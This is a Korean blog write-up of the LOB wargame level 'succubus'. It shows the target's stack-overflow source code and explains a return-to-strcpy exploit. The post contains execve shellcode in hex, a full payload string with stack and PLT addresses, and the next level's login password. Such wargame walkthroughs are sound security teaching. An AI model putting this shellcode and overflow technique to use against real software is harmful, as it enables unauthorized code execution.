DongDD's IT

[LOB] Level18 succubus 본문

Wargame/LOB

[LOB] Level18 succubus

DongDD 2018. 2. 7. 14:26

[LOB] Level18 succubus



Problem



이번 문제에서도 nightmare 실행 파일과 nightmare.c 소스 코드 파일이 있었다.

소스 코드를 확인해보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>
 
main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        // check address
        addr = (char *)&strcpy;
        if(memcmp(argv[1]+44&addr, 4!= 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }
 
        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
 
        // dangerous waterfall
        memset(buffer+40+8'A'4);
}
 
cs


먼저 40 bytes 크기의 buffer가 선언되어있었고 char *로 addr이 선언되어있었다.

argv는 2개 이상이어야하고 addr에 strcpy의 주소를 넣는다. strcpy가 실행하기 전이므로 아마 plt가 들어갈 것 같았다. 그리고 memcmp를 통해 입력한 argv[1]의 45~48번째 글자가 이 주소와 일치하는지 확인하고 다르다면 exit()로 종료한다.

45~48은 overflow시 return address로 사용하므로 return address에 strcpy를 넣어줘야하는 것 같았다.

그 후에 strcpy를 통해 argv[1]을 buffer에 복사하고 49~52번째를 "A"로 초기화해준다. 즉, return address를 연달아 쓰는 것을 막는 것 같았다.



Solution


처음에는 strcpy의 plt를 넣고 여러 가지 시도를 해보았지만 모두 실패했다. 0x41414141에서 error가 떴었다. 그 후에 생각을 바꾸어 strcpy로 return 하는 것을 활용해 풀었다.


1. strcpy를 통한 주소 복사


먼저 stack에는 위와 같이 쌓여있을 것이다. return address에 strcpy를 넣어 if문을 통과해줘야 하고 그 후에 입력한 4 bytes는 memset()에 의해 모두 "AAAA"로 초기화될 것이다. 처음에 문제를 풀 때는 strcpy를 통해 0x41414141에 값을 넣어줄 수 있나 시도해보았지만 실패했다. 그 후에 0x41414141을 쓰는 것이 아닌 "AAAA"가 들어가 있는 곳의 값을 바꿔주면 될 것 같다는 생각이 들어 시도해보았다.

strcpy("AAAA"의 주소, 환경 변수 "a"의 주소) 를 활용하면 될 것 같다는 생각이 들었다.



먼저 gdb를 통해 main을 확인해 strcpy의 plt주소를 확인했다. 그 후에 환경 변수를 사용하기 위해 "a"라는 환경 변수에 NOP+shell code를 넣어주었고 getenv()를 사용하는 프로그램을 작성해 환경 변수 "a"의 주소를 알아왔다.


strcpy의 plt : 0x8048410

환경 변수 "a"의 주소 : 0xbffffee2

사용한 shell code(24 bytes) : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80


Payload = dummy(44 bytes, buffer+sfp, "A"*44) + return address1(4 bytes, strcpy@plt, 0x8048410) + return address2(4 bytes, "A"*4) + strcpy arg1(4 bytes, return address2의 주소) + strcpy arg2(4 bytes, 환경변수 "a"의 주소)



gdb로 위치를 찾는 것보다 core로 찾는 것이 나을 것 같아 core파일을 생성시켜 "AAAA"로 초기화되는 부분의 주소를 알아보았다.


"AAAA" 초기화되는 주소 : 0xbffffa80



위 payload에서 arg1의 값만 바꾸어 시도해보았더니 segmentation fault가 떠서 core파일을 다시 확인해보았다. 그랬더니 arg2에 넣었던 환경 변수의 주소가 들어가는 것이 아닌 환경 변수에 들어있는 값들이 들어가 메모리에 NOP+shell code가 저장되어 0x90909090으로 return하게 되는 것을 볼 수 있었다.

strcpy는 인자가 포인터형이라 그런 것 같았다. 그래서 비슷한 방법을 생각했다.


그래서 환경 변수를 하나 더 생성해 환경 변수에 shell code가 들어간 환경 변수의 주소를 넣어놓으면 될 것 같았다.



먼저 환경 변수 "b"를 4 bytes로 생성해놓고 주소를 확인해보았다.

그 후 shell code가 들어간 환경 변수 "a"의 주소를 환경 변수 "b"에 넣어주었다.


환경 변수 "a"의 주소 : 0xbffffedb

환경 변수 "a"의 주소를 가지는 환경 변수 "b"의 주소 : 0xbfffff4d


Payload = dummy(44 bytes, buffer+sfp, "A"*44) + return address1(4 bytes, strcpy@plt, 0x8048410) + return address2(4 bytes, "A"*4) + strcpy arg1(4 bytes, return address2의 주소) + strcpy arg2(4 bytes, 환경변수 "b"의 주소, 0xbfffff4d)



환경 변수가 추가되어 메모리가 바뀌었을 것 같아 core파일을 생성해 확인하기 위해 임의의 값을 넣어 확인해보았다.

"AAAA"가 들어가는 위치가 0xbffffa70으로 바뀐 것을 볼 수 있었고 payload에 이 값을 넣어 시도해보니 shell을 얻을 수 있었다.





**************     Answer & Flag     **************



1. strcpy를 통한 주소 복사


Payload = dummy(44 bytes, buffer+sfp, "A"*44) + return address1(4 bytes, strcpy@plt, 0x8048410) + return address2(4 bytes, "A"*4) + strcpy arg1(4 bytes, return address2의 주소, 0xbffffa70) + strcpy arg2(4 bytes, 환경변수 "b"의 주소, 0xbfffff4d)


argv[1] = "A"*44+"\x10\x84\x04\x08" + "AAAA" + "\x70\xfa\xff\xbf" + "\x4d\xff\xff\xbf"




Next ID : nightmare

Next PW : beg for me

'Wargame > LOB' 카테고리의 다른 글

[LOB] Level20 xavius  (0) 2018.02.10
[LOB] Level19 nightmare  (0) 2018.02.08
[LOB] Level17 zombie_assassin  (0) 2018.01.31
[LOB] Level16 assassin  (0) 2018.01.31
[LOB] Level15 giant  (0) 2018.01.30
Comments